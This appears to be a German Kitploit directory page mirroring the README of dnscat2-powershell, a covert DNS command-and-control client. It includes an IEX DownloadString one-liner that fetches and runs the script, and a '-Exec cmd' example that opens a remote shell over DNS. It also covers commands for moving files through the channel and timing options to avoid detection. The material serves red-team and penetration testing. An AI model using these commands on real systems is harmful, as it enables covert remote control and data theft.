Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
dnscat2-powershell — Ein Powershell-Client für dnscat2, ein verschlüsseltes DNS-Befehls- und Kontrolltool. | Kitploit
Tools/GitHubGitHub/lukebaggett/dnscat2-powershell
Verschlüsselungs-/EntschlüsselungstoolsPost-ExploitationPenetrationstestsCommand and ControlRed TeamingDNS-AnalyseArchived
GitHublukebaggett/dnscat2-powershell

dnscat2-powershell

Ein Powershell-Client für dnscat2, ein verschlüsseltes DNS-Befehls- und Kontrolltool.

Repository anzeigen
435123vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

dnscat2 ist ein DNS-Covert-Channel-Tool von @iagox86 (Ron Bowes), das zur Übertragung von Daten über DNS-Anfragen verwendet wird.

Dies ist eine Powershell-Version des dnscat2 C-Clients.

Klicken Sie hier für einen Blogbeitrag, der eine detailliertere Erklärung des Zwecks dieses Skripts und seiner Verwendung bietet.

Um dieses Skript zu verwenden, benötigen Sie den Ruby-dnscat2-Server. Stellen Sie sicher, dass Sie die Option --no-cache beim Ausführen des Servers hinzufügen. Dieser Client ist mit dem Caching des Servers inkompatibel.

Einrichtung

Installieren Sie zuerst den dnscat2-Server. Starten Sie den Server mit deaktiviertem Caching mit --no-cache. Der Befehl zum Starten Ihres Servers sollte in etwa so aussehen: ruby dnscat2.rb --dns="domain=example.com" --no-cache

Starten Sie als nächstes Windows Powershell (Version 2.0 oder höher). Sie können diesen Befehl verwenden, um die dnscat2-Powershell-Funktionen zu laden:

root@kitploit:~
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

Beispiele

Start-Dnscat2 ist die eigentliche Funktion, die als Client verwendet wird. Geben Sie den dnscat2-Server mit -Domain an.

root@kitploit:~
Starten Sie eine Befehlssitzung und senden Sie DNS-Anfragen an 8.8.8.8 auf Port 53:
    Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8

Senden Sie eine cmd-Shell und senden Sie DNS-Anfragen an den in Windows festgelegten Standard-DNS-Server:
    Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd

Starten Sie eine Konsolensitzung. Verwenden Sie nur CNAME-, MX- und AAAA-Anfragen:
    Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console

Verschlüsseln Sie die Sitzung nicht. Die Verschlüsselung ist standardmäßig aktiviert.
    Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption

Powershell-Befehlssitzungsbefehle

Der Client kann normale dnscat2-Befehle oder die Powershell-Version dieses Befehls verarbeiten. Um die Powershell-Version eines Befehls zu verwenden, setzen Sie bestimmte Parameter, die der Client erkennt (Dies sind Befehle, die von einer Befehlssitzung auf dem Server ausgeführt werden):

root@kitploit:~
Starten Sie eine neue Sitzung, die eine Powershell-Shell simuliert, wie ExecPS:
    exec psh

Laden Sie app.exe auf dem Server in einen Hex-String hoch, der in der $app-Powershell-Variable gespeichert ist:
    upload app.exe hex:$app

Laden Sie das Byte-Array, das in der $app-Powershell-Variable gespeichert ist, auf dem Server in app.exe herunter:
    download bytes:$app app.exe

Start-Dnscat2

root@kitploit:~
-Domain <String>          Die Domain, die vom dnscat2-Server verwendet wird.
-DNSServer <String>       Der Hostname oder die IP-Adresse, an die DNS-Anfragen gesendet werden. (Standard: Von Windows festgelegt)
-DNSPort <Int32>          Der Port, an den DNS-Anfragen gesendet werden. (Standard: 53)

-Command                  Starten Sie eine Befehlssitzung. (Standard)
-Exec <String>            Verknüpfen Sie die E/A eines Prozesses mit der Dnscat2-Sitzung.
-Console                  Verknüpfen Sie die E/A der Konsole mit der Dnscat2-Sitzung.
-ExecPS                   Simulieren Sie eine Powershell-Sitzung und verknüpfen Sie die E/A mit der Dnscat2-Sitzung.
                          WARNUNG: Das Beenden beendet den gesamten dnscat2-Client, nicht nur die Sitzung.

-PreSharedSecret          Legen Sie dasselbe Geheimnis auf dem Server fest, um sich zu authentifizieren und MITM zu verhindern.
-NoEncryption             Keine Verschlüsselung verwenden.

-LookupTypes <String[]>   Legen Sie ein Array von Lookup-Typen fest, zwischen denen zufällig gewechselt wird.
                          Es werden nur TXT-, MX-, CNAME-, A- und AAAA-Einträge unterstützt. Standard: @(TXT, MX, CNAME)
-Delay <Int32>            Legen Sie eine Verzögerung zwischen den einzelnen Anfragen in Millisekunden fest. (Standard: 0)
-MaxRandomDelay <Int32>   Legen Sie den Maximalwert einer zufälligen Verzögerung fest, die zur normalen Verzögerung hinzugefügt wird, in Millisekunden. (Standard: 0)
-MaxPacketSize <Int32>    Maximale Länge eines dnscat2-Pakets. (Standard: 240)
-Name <String>            Der Name Ihrer dnscat2-Sitzung. (Standard: Hostname)

ExecPS und 'exec psh'

dnscat2-powershell simuliert eine Powershell-Sitzung, indem Daten vom Server an Invoke-Expression übergeben werden. Nur stdout wird zurückgegeben, und Variablen bleiben erhalten, solange der Client läuft. Achten Sie auf Dinge, die Powershell beenden, wie "exit" und "break", da der gesamte dnscat2-powershell-Client beendet wird, nicht nur die ExecPS-Sitzung.

Weitere Credits

  • db9 auf stackoverflow Demonstration von BouncyCastle ECDH.
  • FrankSpierings' Implementierung von Salsa20 und Sha3 in Powershell über C#.
  • Rebex Labs abgespeckte Version der BouncyCastle-DLL für ECC.
Tool herunterladen